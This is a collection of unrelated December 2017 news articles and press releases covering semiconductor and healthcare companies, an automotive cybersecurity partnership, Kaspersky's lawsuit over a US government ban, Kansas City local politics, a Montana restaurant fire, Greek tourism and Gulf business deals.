MANCHESTER, N.H., Dec. 19, 2017 /PRNewswire/ -- Allegro MicroSystems, LLC, a leader in developing high-performance power and sensor semiconductors, held a groundbreaking ceremony today on a 15,000-square foot expansion at their Manchester, NH facility. The building expansion will support Allegro's ongoing growth and investment in research and development as well as reinforce this location as the company's center of strategic business development. "Allegro will continue to strengthen its investment in its technical talent and focus on high growth technological segments. Our ability to attract and retain skilled, high-tech talent to our Manchester facility will allow us to further invest in this prime location," said Allegro President and Chief Executive Officer, Ravi Vig. Allegro's facility is conveniently located minutes from the Manchester-Boston Regional Airport, is close to leading New Hampshire and Massachusetts research universities, and is within a one hour radius of the Seacoast, mountains, lakes, and urban environments like downtown Manchester and Boston, making it an attractive location for existing and prospective employees. Allegro currently leases its NH facility throughBrady Sullivan and plans to purchase this building in May 2018, which would serve to deepen its roots in the Manchester community.



Allegro's focus on advanced technology, product line expansion and innovation fits well with the business platform provided in New Hampshire. "The Governor and I are fully committed to working with local companies to help them grow their business and attract talent," remarked Taylor Caswell, Commissioner, Department of Business and Economic Affairs. "We are pleased that Allegro has chosen to invest in the Manchester area, and we look forward to their employees enjoying the revitalized mill yards, SNHU Arena, and other benefits of downtown." Allegro's building expansion was designed by Margulies Perruzzi Architects and is being built by Hutter Construction Corporation with a planned completion date in the summer of 2018. Allegro will employ upwards of 400 people at its Manchester site, many of them engineers.

About Allegro Allegro MicroSystems, LLC is a leader in developing, manufacturing and marketing high-performance semiconductors. Allegro's innovative solutions serve high-growth applications within the automotive market, with additional focus on office automation, industrial, and consumer/communications solutions. Allegro is headquartered in Worcester, Massachusetts (USA) with design, applications, and sales support centers located worldwide. Key Facts: Allegro maintains the #1 market leadership position within the magnetic sensor IC technology segment and is ranked 15th in the automobile semiconductor sector. Approximately 25 million units produced by Allegro are shipped weekly throughout North America, Asia and Europe. Further information about Allegro can be found at www.allegromicro.com. About the NH Department of BEA The Department of Business and Economic Affairs is dedicated to enhancing the economic vitality of the State of New Hampshire and promoting it as a destination for domestic and international visitors. View original content with multimedia:http://www.prnewswire.com/news-releases/leading-semiconductor-company-to-expand-in-manchester-300573354.html SOURCE Allegro MicroSystems, LLC

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[December 19, 2017] Cota Joined Fellow Innovators at the Health 2.0 Precision Health Summit

NEW YORK, Dec. 19, 2017 /PRNewswire/ -- Cota Inc., a healthcare data and analytics company bridging precision medicine to population health, announced the participation of its chief medical officer, Andrew Norden, M.D., in a panel discussion at last week's Health 2.0 Technology for Precision Health Summit. The Summit, which took place on December 12, 2017 in San Francisco, California, focused on how technology and big data are transforming healthcare to increase quality and length of life. During the one-day event, Dr. Norden joined a panel discussion on "How Science and Technology are Changing Patient Care in Oncology." The panelists  which included top influencers from companies like Syapse and Flatiron Health  discussed advancements in science and technology's positive impact on cancer care. Precision medicine was a major focal point of the talk because of the powerful impact genomic biomarkers have had on patients with critical cancer diagnoses in just the past few years. The panelists also discussed the need for more collaboration across the industry. "While precision medicine holds great promise, the data and care processes need to catch up to the science. I was excited to hear that all of my fellow panelists agreed on how important it is for us to continue building on the incrementalprogress in other areas of cancer care," said Dr. Norden. "I believe one of those key growth areas lies in the data, specifically how we manage and present the exponentially growing level of clinical and genomic information into the clinical workflow. Our mission at Cota is to tackle this challenge head on through the creation of advanced data and analytics tools that will help clinicians practice precision medicine at scale."



In addition to participating in the panel session, Dr. Norden demonstrated the Cota Nodal Address (CNA) system and showed how it optimizes decision-making at the point of care. The CNA system organizes the complexities of patients and their diseases in a form that permits detailed analysis and tracking of outcomes, toxicity, practice patterns and costs, population-level information that physicians have not had access to before. Dr. Norden highlighted how Cota's novel approach enables value-based cancer care while also generating hypotheses that will ultimately lead to new prognostic and therapeutic factors for cancer research. To learn more about how Cota is driving innovation in precision medicine, please request a demo at www.cotahealthacare.com or contact [email protected]

About Cota

Cota is a healthcare data and analytics company that enables providers, payers and life science companies involved in diagnosing and treating complex diseases to optimize the outcomes of individual patients and lower the overall cost of the patient population served. It is powered by the patented Cota Nodal Address (CNA) system, a unique digital classification methodology built by leading physicians and data scientists. The CNA is the first and only system that precisely categorizes patient factors, their diseases and intended therapies, enabling precision medicine at scale. Cota's technology enriches medical records to create research-grade data and joins it with a suite of analysis, visualization and management tools. This enables providers, payers and life science companies to analyze, report on and research outcomes, costs, treatments and quality at any granularity and stage of the patient journey. The result is a constantly improving system that merges technology and medicine to improve the lives of patients everywhere. For more information, go to www.cotahealthcare.com Alessandra Nix

SHIFT Communications

[email protected]

617.779.1860 View original content with multimedia:http://www.prnewswire.com/news-releases/cota-joined-fellow-innovators-at-the-health-20-precision-health-summit-300573365.html SOURCE Cota

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[December 19, 2017] Honeywell Transportation Systems and Karamba Security Collaborating on Automotive Cybersecurity Software Solutions

PLYMOUTH, Mich., Dec. 19, 2017 /PRNewswire/ -- Honeywell (NYSE: HON) and Karamba Security today announced the two companies are collaborating at the upcoming 2018 Consumer Electronics Show in Las Vegas to showcase an end-to-end automotive cybersecurity solution for monitoring and securing vehicle communications and reducing exposure to cyber threats resulting from increasing vehicle connectivity. Honeywell Transportation Systems (TS) and Karamba Security are focused on pairing TS intrusion detection technology software and security operations centers with Karamba Security's electronic control unit (ECU) intrusion detection software. The collaborative effort highlights the value and effectiveness of an end-to-end protection system which can be adapted to any car's ECU to help ensure passenger vehicle safety and security from detection to prevention and reporting. The automobile industry is relying increasingly on cellular and satellite communications to increase and enhance system communications within the vehicle. Also, 40 percent of vehicles sold today are connected in some way to the Internet of Things. By the end of the decade, that number is expected to exceed 80 percent. The two companies are able to monitor and validate in real time software commands and data generated by more than 100 million lines of code governing modern vehicle operation. Honeywell's intrusion detection software monitors in-vehicle network communications and anomalies, while Karamba Security's ECU software prevents an attack on any given module. Detected anomalies and prevented attacks are transmitted in either real time or via a scheduled download to Honeywell security operation centers for analysis and remediation. During the past several years, Honeywell Transportation Systems has assembled a team of software experts in the evolving automotive industry trends toward increased connectivity and autonomous vehicle development. Honeywell is focused on providing its customers an end-to-end software platform for enhancing cyber security of connected vehicles as well as in-vehicle monitoring to provide maintenance diagnostics and prognostics. Honeywell TS software solutions are fueled by adding its considerable softwareexpertise and personnel to its more than 60 years of automotive domain experience as a leading global Tier 1 supplier while blending in useful Honeywell experience in critical industrial safety applications.



Since becoming a public company at end of March 2016, Karamba Security has engaged 16 different automakers and tier-1 automotive suppliers on hardening their ECUs of choice. In November of 2017, Karamba Security was named by CNBC to its list of most innovative startups. In addition, Karamba Security was unanimously recognized with TU-Automotive's Best Cybersecurity Product/Service for 2017 and the 2017 North American Frost & Sullivan Award for Automotive New Product Innovation. Executive Quotes



"The industry's appetite for greater functionality in terms of vehicle connectivity and autonomy is driving the development of automotive monitoring software including cybersecurity as well as predictive maintenance  a solution we believe can save automakers as much as 5 percent in warranty costs. We intend to be the leader of the automotive software revolution and have built a skilled team and integrated best practices to address the emerging needs of the auto industry. We are able to collaborate with hardware and other focused software providers like Karamba Security to meet the unserved needs of automakers with a depth of knowledge and necessary flexibility to accommodate a diverse supply base."

Olivier Rabiller, Honeywell Transportation Systems president and CEO "We are excited to partner with Honeywell on delivering end-to-end prevention and detection solution for car OEMs. The strong collaboration between Honeywell and Karamba Security has yielded an industry-first intrusion detection and attack prevention solution conveying zero false positives. Reporting Karamba Security's real-time forensics data about prevented attacks to Honeywell's security operations centers enables car makers to learn about security vulnerabilities and how to fix them, while hackers are kept out of the car. OEMs that use the joint solution ensure themselves and the regulators that their cars are not hacked, and consumer safety is kept intact."

Ami Dotan, Karamba Security, CEO and co-founder About Honeywell Honeywell (www.honeywell.com) is a Fortune 100 diversified technology and manufacturing leader, serving customers worldwide with aerospace products and services; control technologies for buildings, homes, and industry; turbochargers; and performance materials. For more news and information on Honeywell, please visit www.honeywell.com/newsroom. About Karamba Security Karamba Security provides industry-leading autonomous cybersecurity solutions for connected and autonomous vehicles. Karamba's software products automatically harden the ECUs of connected and autonomous cars, preventing hackers from manipulating and compromising those ECUs and hacking into the car. Karamba's Autonomous Security prevents cyberattacks with zero false positives, no connectivity requirements and negligible performance impact. In one year, Karamba has received a total investment of $17 million. The company has been recognized in 2017 with TU-Automotive's Best Cybersecurity Product/Service and the North American Frost & Sullivan Award for Automotive New Product Innovation. More information is available at www.karambasecurity.com. View original content:http://www.prnewswire.com/news-releases/honeywell-transportation-systems-and-karamba-security-collaborating-on-automotive-cybersecurity-software-solutions-300573385.html SOURCE Honeywell Transportation Systems

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By Trend





Azerbaijani Foreign Minister Elmar Mammadyarov received Ambassador of the Russian Federation to the Republic of Azerbaijan Vladimir Dorokhin upon the termination of his diplomatic tenure, the Azerbaijani Foreign Ministry told Trend.

During the meeting, the sides expressed satisfaction with the current level of relations and regular exchange of high-level visits between Azerbaijan and Russia.



The ambassador said that he did his best to contribute to strengthening of bilateral relations between Azerbaijan and Russia during his tenure and expressed his hope that the sincere character of the relations would continue and the gained practice would serve to the interests of both states and peoples.

Dorokhin wished success to the government of Azerbaijan in its policy to further stability and progress of Azerbaijan.



Mammadyarov thanked Dorokhin for his contributions to the development of relations between the two countries and wished him every success in his future endeavors.
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Kaspersky announced that it launched a lawsuit against the Trump administration arguing that the U.S. governments ban of its software lacked due process and evidence of harm.

Kaspersky's Ban On U.S. Federal Networks

This September, the Department of Homeland Security (DHS), issued a directive to civil agencies to stop using Kaspersky software within 90 days after concerns that the antivirus may help the Russian government in infiltrating U.S. networks and stealing sensitive information.

The government previously accused Kaspersky of stealing classified information from a national security whistleblower called Reality Winner. Kaspersky admitted that it got the documents in a routine scan of Winners personal computer, but it said it immediately deleted those files once it learned what they were. It also offered to allow independent parties to review its antivirus source code, but the government didnt think that was sufficient.

Last week, the new National Defense Authorization Act of 2018 included a clause that would ban any Kaspersky or Kaspersky-associated software from being used in the U.S. federal government. Guilty or not, this seems to have left Kaspersky no choice but to sue the U.S. government in order to save its reputation (and revenue).

Kasperskys Open Letter

Along with the lawsuit, Kaspersky also wrote an open letter (opens in new tab) to the U.S. government. The company argued that it has not been given the opportunity to defend itself properly before its technology was banned from use on federal networks. This has harmed its reputation and revenue, and Kaspersky believes that such actions violated the U.S. Constitution, more specifically the right to due process.

The company said that the U.S. government relied mainly upon uncorroborated media reports, not evidence, to support its conclusion that the Kaspersky antivirus is a security risk for U.S. federal networks.

Kaspersky also noted that although the revenue it obtained from licensing its software to U.S. federal agencies was only a small percentage of its revenue, the ban on its software had a disproportionate negative effect both in the U.S. as well as globally.

Kaspersky is now suing the U.S. government to try and repair that damage to its sales as well as its reputation (presuming the U.S. court will find Kaspersky innocent).
Police are investigating after a teenager was found dead in the front yard of a Blue Springs home Monday morning. The victim has been identified as 16-year-old Colby Stephenson. Officers were called about 1:50 a.m. to the 1700 block of Northwest Sixth Street on reports of shots fired in the area.
Homicide reported at Coronado Road, KCK police say Kansas City, Kan. police were investigating a homicide Monday night in the 3200 block of Coronado Road. KCK Police Chief Terry Zeigler sent the tweet close to 7:15 p.m. Monday saying that officers were heading out to the scene. This is a developing story.

More murder across the State Line and a realization that homicide this holiday season is ramping up. Read more:
KANSAS CITY, Mo. - The Clay County Commission Monday approved next years budget despite complaints and concerns from the Clay County Sheriff's Department. The new budget includes cuts to Public Safety. Sheriff Paul Vescovo is concerned those cuts will hurt his department. Approximately $600,000 could be cut from next year's budget, according to Vescovo.
INSIDERS FEAR EDGEMOOR LAWSUITS AGAINST CITY HALL, AECOM AND BURNS & MAC FOR HOW THIS DIRTY MOU DEAL IS GOING DOWN!!!

The real story according to TKC TIPSTERS is that investigation into legal options in this bidding process is already underway.

THE 35% MBE/WBE KANSAS CITY NEW AIRPORT HIRING PROMISE IS NOTHING MORE THAN AN URBAN LEGEND!!!

"Without a massive training, education and apprenticeship program. There is simply not enough capacity in Kansas City's minority community to supply 35% of the labor & contracting on a billion dollar project. If every minority and female owned firm in the metro started working on the new airport, they still wouldn't have enough people. Edgemoor has the best plan to try to achieve the number - AECOM/Burns & Mac and the Unions are basically hostile to this effort. 35% is not going to happen, it was never going to happen."

KANSAS CITY VOTERS WILL PAY HEAVILY FOR THE NEW AIRPORT!!!

"Most City Council members and Team Sly backers have not read and don't understand how the airport will be financed. I've talked to them. They're taking their cues from Troy's office and they've never been forthright about hidden costs."

1. Kansas City will end up in court no matter who wins or loses the new airport bidding because of the haphazard vote and terms promoted by Mayor Sly.





2. Already . . . NONE of the #BetterKCI campaign promises are holding up to scrutiny and the rigged vote was nothing more than pie in the sky served up by Mayor Sly.

By way of a litany of disingenuous campaign promises and shady backroom deals, Mayor Sly James is navigating a path towardCity Hall courtroom battles over the airport.First up . . .While MSM is playing stenographer and covering rigged hometown press conferences like they're "news" . . .Now, lawyers on all sides of this equation can and will make their case - But from a- The legal drama now threatening City Hall is the direct result of a poorly-planned vote that lacked proper details promoted by Mayor Sly James.To be fair, most people watching this hot mess already understand that there's no way KCMO isn't getting out of this new airport nightmare without settling a major lawsuit. However . . . The shady tactics of Mayor Sly for the benefit of campaign backers are already the subject of inquiry.Now, to more urgent matters . . .There are lots of good intentions here buthave made themselves clear on this issue . . . A quote that we've seen from the press in the 3rd District:Reality - KC has often made similar promises on MBE/WBE hiring and theyhold true.Next up . . .Here's a fun quote from a source familiar from with the MOU debate:Like it or not, whether in court fees or other contingencies . . . KCMO Taxpayers will be picking up aof the tab on this project and anyone who believes or says otherwise is being willfully ignorant or duplicitous.And so . . .Two things are certain amid this #BetterKCI brouhaha . . .Developing . . .
The privatizers are back, with a new name, and a local native-born leader touting the virtues of the portfolio model and a common enrollment application for public schools and charter schools. The new approach is funded by the privatization-loving Walton Family Foundation and the Kauffman Foundation. OneApp, the common enrollment system is intended to confuse parents about the differences between public schools and charter schools, and give the appearance that they are the same. They are not. Charter schools choose their students; public schools do not. Charter schools may close without warning; public schools do not. Charter schools are not willing to take the students with the greatest needs; public schools are required to do so.





And so far, many education leaders in Kansas City seem to have fallen for the portfolio model, which is a stealth way of importing privatization.





The Kansas City superintendent, Mark Befell, is approaching the new bait warily. But the stars are aligning to put Kansas City into the grasp of the privatizers

Check thisglimpse at a plan that's already underway in Kansas City and confronting education officials.While many argue that privatization will benefit Kansas City Public Schools . . . Others decry the clandestine tactics.In thisblog post on the subject, credit the author with making the choice clear for denizens of the district given that local media isn't p to the task.Checkit:Deets:You decide . . .
A late-night fire Sunday destroyed a historic restaurant near Huson.

Firefighters from Frenchtown were notified of the fire at the Nine Mile House located off Highway 10 at about 10:30 p.m.

While en route to the fire, firefighters were told the structure was fully involved, said Mel Holtz of the Frenchtown Rural Fire Department.

When I got here at about 11, there were flames shooting through the roof, Holtz said.

More than 30 firefighters from Frenchtown, Missoula Rural and East Missoula responded to fight the fire. They brought 15 engines and five water tenders.

Holtz said it took about two hours for firefighters to knock down most of the large flames.

The nearest water was a couple of miles away in Alberton.

It was about a 25-minute turnaround for the water tenders, Holtz said. It was challenging. Highway 10 was icy in some places. We had some snow flurries.  We ended up putting quite a bit of water on this.

One water tender alone hauled 14,000 gallons.

Highway 10 was closed for four to five hours. Holtz said sand was brought in to provide solid footing for firefighters working in below-freezing temperatures.

The 1940s-vintage building had been through a number of renovations and updates over the years. That hodgepodge of construction created its own set of challenges for firefighters.

It was quite old, Holtz said. We had our hands full.

On top of fighting the fire, Frenchtown volunteer firefighters also responded to five medical calls during the night.

The restaurant closed at 10 p.m. Holtz said there was no one inside the building at the time of the fire.

Fire officials remained on the scene Monday morning doing investigation and mop-up work.

Since the building was unsafe to enter, an excavator was called to assist in removing materials to allow firefighters access so they could extinguish existing hotspots, Holtz said.

The building is a complete loss, Holtz said just before noon Monday. There is still quite a bit of it thats still smoking. The floor is very unstable. Half of it was covered by a metal roof. When those collapse, they hold in the heat.

The cause of the fire remains under investigation.

On Monday morning, a steady stream of people stopped by to see for themselves what had occurred to a piece of the areas history.

The original Nine Mile House was built in 1893 across the highway from the building that burned Sunday. It served the community as a two-story hotel, restaurant and dance hall.

That building was constructed by George Brown and run by his son, George Nine Mile Brown, until he died in the 1930s.

The building that burned was built in 1946-47.

There have been a lot of people stop by and tell us their stories about this place, Holtz said. Its a sad day for the Huson community.
Dozens went to Representative Kevin Yoder's Overland Park office, demanding a permanent fix to DACA, a program that gives some protections to immigrants who were brought here as kids. Supporters are pushing for Congress to attach the Dream Act to a year-end spending bill.
Tourism and shipping are the two most robust industries in Greece

Greek shipowners and shipping interests again topped the charts in 2017 in terms of vessel transactions (buying, selling) , as they invested 4.47 billion USD over the period for purchases.

Percentage wise, 23 percent of second-hand purchases of ocean-going vessels during the year were credited to Greek shipping interests. A total of 280 vessels were bought by Greek shipping companies and nationals, particularly bulkers, 170 out of the 280, along with 79 tankers, 34 container ships and three LNG carriers, according to Allied Shipbroking.

The tally extends to December 8, 2017.

Worldwide, nearly 19.5 billion euros was invested in 2017 for the purchase of 1,541 second-hand vessels.

Chinese interests ranked second, snapping up 205 vessels with a total outlay of 2.25 billion USD, with the preference here also being bulkers (124). Next up were Norwegian shipping interests, with 98 vessels purchased: 38 bulkers, 27 tankers, nine container ships and two gas carriers.

Greek shipping interests were also first on the list in terms of sellers, as 179 vessels were sold off for a total of 2.3 billion USD.

In 2016, Greek shipping interests and shipowners allocated 3.46 billion USD for the purchase of 269 vessels - 202 bulkers, 42 tankers and 15 container ships.

Read more here.

RELATED TOPICS: Greece, Greek tourism news, Tourism in Greece, Greek islands, Hotels in Greece, Travel to Greece, Greek destinations , Greek travel market, Greek tourism statistics, Greek tourism report

Photo Source: Wikimedia Commons Copyright: fdecomite License: CC-BY-SA

Source: .naftemporiki.gr
The historic ties between the US and Greece have certainly boosted tourist inflows over the years

The rejection of the US visa application for Greek MEP Stelios Kouloglou, while he was a member of an official European Parliament delegation to visit the US, was the subject of a recent article by the French newspaper Humanite.

"The motive? His documentaries on American politics were not liked in Washington," Humanite notes in the report, according to a statement by the Greek MEP.

"From 2010, I had found myself on a blacklist," explains Stelios Kouloglou. The MEP, as the newspaper writes," is not only a member of the European Parliament but also a journalist and director who for many years worked for Greek public television ERT. During the decade of 2000-2010, he became known for his reports and documentaries from around the world that appeared in the weekly program Reporters Without Borders on ERT, some of which were directly critical of American politics.

Stelios Kouloglou, Humanite continues, "refers specifically to a 2004 documentary "24 + 1 Lies to Sell a War," which denounced the Bush administration's propaganda to justify the invasion of Iraq in 2003. Also, he referred to another film entitled "Confession of an Economic Assassin," which was distinguished with two international awards and was screened in New York and Los Angeles.

During this time, the US Embassy in Athens protested to the Greek government, "that intervened on the board of ERT to say that Stelios Kouloglou's reports have caused difficulties in the talks of the then prime minister, Costas Simitis, with the US. In 2008, the situation escalated at a meeting of the board of directors of public television. "A month later, I was fired," says the MEP," the newspaper notes.

Read more here.

RELATED TOPICS: Greece, Greek tourism news, Tourism in Greece, Greek islands, Hotels in Greece, Travel to Greece, Greek destinations , Greek travel market, Greek tourism statistics, Greek tourism report

Photo Source: Wikimedia Commons Copyright: Rennett Stowe License: CC-BY-SA

Source: newgreektv.com
Obviously in a country that takes pride in its tradition of food and there is no better time for a tour de gastronomie

Christmas, perhaps the most celebrated holiday of the year in Greece, cannot get more festive, greekcitytimes.com notes in the following article:

Athens and the rest of Greece is adorned with lights, Christmas carols and Wham songs are everywhere lifting spirits.

Traditionally families and friends get together to celebrate the Christmas period, which lasts for 12 days. It starts on the 25th of December and lasts until the 6th of January, the Feast of Epiphany.

Obviously in a country that takes pride in its tradition of food and there is no better time for a tour de gastronomie. So many delicacies from all over the country, cooked in various ways depending on the region. It was a challenge narrowing them down, to choose the most popular and available but here it goes!

Melomakarona

These oval shaped desserts, made with flour, olive oil and honey, are the signal of the festive season. When you see them in pastry shops or bakeries, you know that Christmas is here! THE most beloved traditional Greek dessert, produces only during this season could easily be the theme of a Christmas song!

Kourabiedes

These shortbread cookies can also be described as the embodiment of the festive season. They are made with almonds or other nuts and dusted with icing sugar. This white tasty dust can also betray when someone has eaten a kourabie, as it leaves signs!

Christopsomo bread

This loaf of bread is usually decorated with the letter X in the middle, which is the first letter of the word Christ in Greek. People make it on Christmas Eve and eat it the next day, the day of Christmas and its always made with the purest and finest ingredients.

Diples

A very common dessert in the Peloponnese region and very popular in general during Christmas. Diples means folded and its also called the pancake of the poor it is lightly fried flour and drizzled with honey and walnuts.

Vasilopita

A special pie that can be made in various ways. Imagination is free here! The common things is that it hides a lucky coin inside and whoever gets it in their piece is expected to have luck throughout the year.

Pork

The traditional meat of the festive season, which can be tasted in various ways depending on the region and the city. In Crete, for example, people make it with lemon leaves. In northern Greece, people use to eat msoura, a dish made by pork, beef and chicken, slowly cooked with rice and vegetables in the oven.

Turkey

This is a kind of new tradition in Greece and shows influence by western cultures. Many houses prepare a turkey, stuffed with rice and nuts, for the family dinner. Chicken is also a very popular dish during the last years. At Trikala, they make chicken stuffed with rice and raisins.

Yiaprakia

Delicious stuffed cabbage.

Galaktoboureko

Although its not a strictly Christmas dessert, is one of the most loved in Greece and there is no chance to visit a house and not find a galaktoboureko treat. Amazingly delicious custard pie with cream and phyllo dough.

Pites

All kinds of pies can be tasted during Christmas in all parts of Greece. In Ipiros, for instance, they make meat pie, sweet pumpkin pie or milk pie.

Baklava

Lastly, almost every house in Greece has baklava to offer to guests, although its not a strictly Christmassy dessert. Baklava is a pastry made of layers of phyllo filled with nuts and held together with honey and is always good news for coffee lovers!

Read more here.

RELATED TOPICS: Greece, Greek tourism news, Tourism in Greece, Greek islands, Hotels in Greece, Travel to Greece, Greek destinations , Greek travel market, Greek tourism statistics, Greek tourism report

Photo Source: Wikimedia Commons Copyright: Andrea Wright License: CC-BY-SA

Source: greekcitytimes.com
The majority of couples want to get married on Kos, Rhodes, Crete, Santorini and Skiathos

BookYourWeddingDay is an online platform launched last March that facilitates civil weddings in Greece and Cyprus.

The process was a complete nightmare until recently, Maria Evripides, founder and CEO of the Nicosia-based company, told Kathimerini newspaper. Interested parties had to submit their request to the relevant authorities via a travel agent or a local representative, and would have to wait as long as eight weeks for a response.

Other than an emotional strain, the delay also sent costs soaring, as air fares and hotel rates got more expensive the closer they got to their preferred date, weighing on the overall wedding budget and dampening couples enthusiasm, noted Evripides.

I thought this was an obstacle that had to be overcome by us dealing with the red tape for our clients, added the travel expert. Based on the data, on average, each couple brings 30 people to their wedding and the average length of stay is 10 nights.

Greece and Cyprus are both ideal as destination weddings. Beyond the sun and sea, couples from the UK in particular look to get married away from home, where they have to pay a huge municipal tax that comes to about the same price as an entire wedding at a cheaper destination, explained Evripides.

The platform has been a great success so far, having arranged 2,020 weddings for 2018 and 2019 since March. The majority of couples want to get married on Kos, Rhodes, Crete, Santorini and Skiathos  in that order  while things are looking up for the latter two islands for the 2019-20 period.

Local authorities and the tourism industry have also embraced the platform, according to Evripides. For the time being, beyond the paperwork, we only arrange the communication between the couple and the venue, not other professionals (the photographer, makeup artist, wedding planner, etc), she clarified.

The majority of bookings so far have come from Britons, but we are also promoting the project in other countries, including Lebanon, Israel, Russia, the United States, Canada and Australia, stressed Evripides.

As part of its growth plans, the website is already being translated into Russian and is also planning to expand to Mexico and the Dominican Republic.

Read more here.

RELATED TOPICS: Greece, Greek tourism news, Tourism in Greece, Greek islands, Hotels in Greece, Travel to Greece, Greek destinations , Greek travel market, Greek tourism statistics, Greek tourism report

Photo Source: Wikimedia Commons Copyright: License: CC-BY-SA

Source:ekathimerini.com
Austria-based Vamed Engineering, a specialist in the construction of multi-dimensional models of healthcare institutions, has won the turnkey contract for a one-of-a-kind spinal injuries hospital and rehabilitation centre in the Sohar region of Oman.



The contract for the Sohar Specialised Hospital and Rehabilitation Centre was awarded by Murtadha Al Jamalani, one of the founders and investors of the project with whom a memorandum of understanding (MoU) was earlier entered into by the local and international investors, reported Oman Observer.



The project will be developed by the Omani branch of Vamed Engineering on a design-build-operate basis, it stated.



Murtadha Al Jamalani and Oman Education and Training Investment Holding Company and Murtadha Business Solutions had in 2015, signed an MoU to develop a specialist centre for spinal injuries and rehabilitation.



We have seen many patients from the GCC and Mena region frequently travel abroad for medical

treatment either to Europe, the US, India or Thailand for want of a high quality medical service and treatment facilities that the patients cannot get in their own countries for one reason or another,

remarked Al Jamalani.



This is the scenario where we want to enter with a super-specialty centre for spinal cord surgeries and rehabilitation services, he added.
Qatar has opened its ambitious Lusail Expressway project following the completion of all its main work including the arches at Interchange 5/6, the biggest and tallest monument in the country.



The expressway was inaugurated by Minister of Municipality and Environment Mohammed bin Abdullah Al Rumaihi in the presence of Ashghal's president Dr Saad bin Ahmad Al Muhannadi and other senior officials of the consulting and construction companies besides the Ambassador of South Korea.



One of the most prominent architectural monuments in Doha, the arches of Interchange 5/6, was launched.

Boasting more than 9300 tonnes of steel, the biggest and tallest monument in Qatar stands 100 m high and 147 m wide, said a statement from Ashghal.



A documentary video was played during the launch event of Lusail Expressway, showing the journey of the implementation of Lusail Expressway and the engineering challenges that Ashghal overcame, in addition to the consecutive openings that this year witnessed for the complete parts of the project, until the completion of all main works including the main carriageways, tunnels and bridgesm, it stated.



Unveiling the details of Lusail Expressway, Al Muhannadi said: "With the launch, traffic was moved to the main carriageway of Lusail Expressway along the whole road from its start in West Bay area until its end at Lusail City, which includes four lanes in each direction."



One of Al Gassar Interchange tunnels opened, connecting Lusail Expressway for those coming from West Bay heading left to Onazia Street, and the tunnel includes two lanes in one direction, with a length of 600m.



Ashghal said eight tunnels are now open to traffic out of nine included in the project, where the main tunnel at Al Gassar Interchange opened in March.



Next week will witness the opening of the other tunnel at Al Gassar Interchange for those heading from Lusail City and the Pearl on Lusail Expressway left to Katara, said the top official.



Lusail Expressway is an iconic architecture with characteristics inspired by the Qatari marine heritage vernacular, and blends Qatars past and future, given that it is the main expressway on the seafront that stretches over the northern coast of Doha City.



The blue wall panels that decorate the tunnels are inspired by the waves of the fishermen nets under the water, and all other design elements were chosen carefully, such as the lighting poles which will light in blue as well along the road.



The vast excavation and execution works of the multi-level tunnels and bridges in the project, as well as the construction of two marine bridges, was completely executed without interrupting traffic.



This is in addition to the excavation works that took place at a depth of 30 metres below ground surface along six kilometres, for integrated infrastructure to allow for electricity and drainage networks, and to allow for maintenance works without the need for more excavations in the future, said the statement from Ashghal.



In addition to building an underground metro tunnel which will cross under the marine bridge, it added.-TradeArabia News Service
Iran's leading car manufacturer Iran Khodro Company will provide Peugeot with the parts it needs in its proposed Algeria plant, according to a senior company official.



The company can also invest in Algeria to produce and sell its products to Peugeot, Hashemi Yekke Zare, CEO of Iran Khodro, was quoted as saying in an Iran Daily News report, citing Trend News Agency.



Peugeot maker PSA Group in November signed a joint venture agreement with three Algerian partners to build cars in the North African country.



The French carmaker said it would invest around 100 million ($117.95 million), equalling 49 per cent of the joint ventures capital.



Referring to the auto industry as one of the most lucrative industries in Iran, the Iran Khodro chief noted that car makers have saved Iran as much as $15 billion in one year by eliminating the need for imports.
Sudan has captured the attention of Ithraa, Omans inward investment and export promotion agency, as an emerging and growing market for Omani exporters.



Saif Al Mamari, Ithraas export development director, recently led a team on an exploratory trade visit to Sudan, where he held meetings with government officials as well as representatives from the Sudanese business community, said a statement.



The aim of the mission was to explore trade relations between Oman and Sudan and for Ithraa management to strengthen their knowledge of the many and growing commercial opportunities in Sudan, it said.



Nasima Al Balushi, Ithraas director general for export development and acting director general for investment promotion, said: The exploratory trade mission to Khartoum was exciting giving my team the opportunity to see firsthand the opportunities Sudan offers Omani exporters.



Indeed, we look forward to building a lasting trade relationship with Sudan that brings benefits to both our countries, he said.



According to United Nations data, foreign direct investment in Sudan fell from $2.3 billion in 2010 to $1.3 billion in 2014, before recovering to $1.7 billion in 2015.



However, highlighting the countrys potential growth sectors, Al Balushi explained: Weve recently seen significant European, Arab and Chinese investment going onto Sudan, particularly in oil, lubricants and pharmaceuticals.



Away from oil, agriculture and livestock also offer exciting opportunities for Sudans economic diversification  a sector that could potentially contribute to the countrys medium-term macroeconomic stability, she added.  TradeArabia News Service
Ok everyone, you have to read this very short short story. Firstly because it is good, (check out the Bligh story within it too), but also because I'm ...

1 year ago
Emirates Global Aluminium (EGA), a major industrial company in the UAE, has signed a long term supply agreement with Shaheen Chem Investments which paves the way for the construction by Shaheen of a chemical complex in Khalifa Industrial Zone Abu Dhabi.



Once it starts production early next decade, Shaheens ethylene dichloride and caustic soda plant will supply all its caustic soda output to EGAs Al Taweelah alumina refinery for a period of 15 years, said a statement.



This will entirely meet EGAs needs for this raw material, it said.



Construction of the plant will significantly boost the UAEs production of caustic soda, an important raw material in industries from petroleum products to chemicals manufacturing as well as alumina refining.



The new plant will be the first in the UAE to produce ethylene dichloride, which will be sold to third parties, it added.



Ethylene dichloride is a precursor chemical that is mostly used to manufacture vinyl chloride, which in turn is used to make polyvinyl chloride. Polyvinyl chloride is a plastic which is used to make pipes, bottles and other products.



Ethylene dichloride and caustic soda manufacturing is a new industry for Kizad and construction of the plant is expected to boost Kizads role as an industrial centre for Abu Dhabi and the UAE.



The long term supply agreement was signed by Abdulla Kalban, managing director and chief executive officer of EGA, Shaheens chairman Rashed Al Suwaidi and Shaheens managing director Walid Azhari.



The signing was witnessed by Abdelkareem Al Masabi, executive vice president - Ports of Abu Dhabi Ports which is the master developer and operator of Khalifa Industrial Zone Abu Dhabi.



Kalban said: The construction of a caustic soda plant next to our alumina refinery guarantees our supply of this vital raw material at competitive prices for years to come.



I am pleased that our companys demand for caustic soda is creating further industrial expansion in Abu Dhabi, continuing EGAs long-standing contribution to the diversification of our economy as we grow our own business, he added.



Al Suwaidi said: We now look forward to building our plant at Kizad to supply EGA with the caustic soda it needs. We are also excited to become the first producer of ethylene dichloride in the UAE and to later bringing vinyl chloride and polyvinyl chloride production to the country.



The new plant will be built near to EGAs Al Taweelah site on a 300,000-sq-m plot and has room for future expansion. The production capacity of the first phase of the plant is expected to be 130,000 tonnes per year of caustic soda and 160,000 tonnes per year of ethylene dichloride.



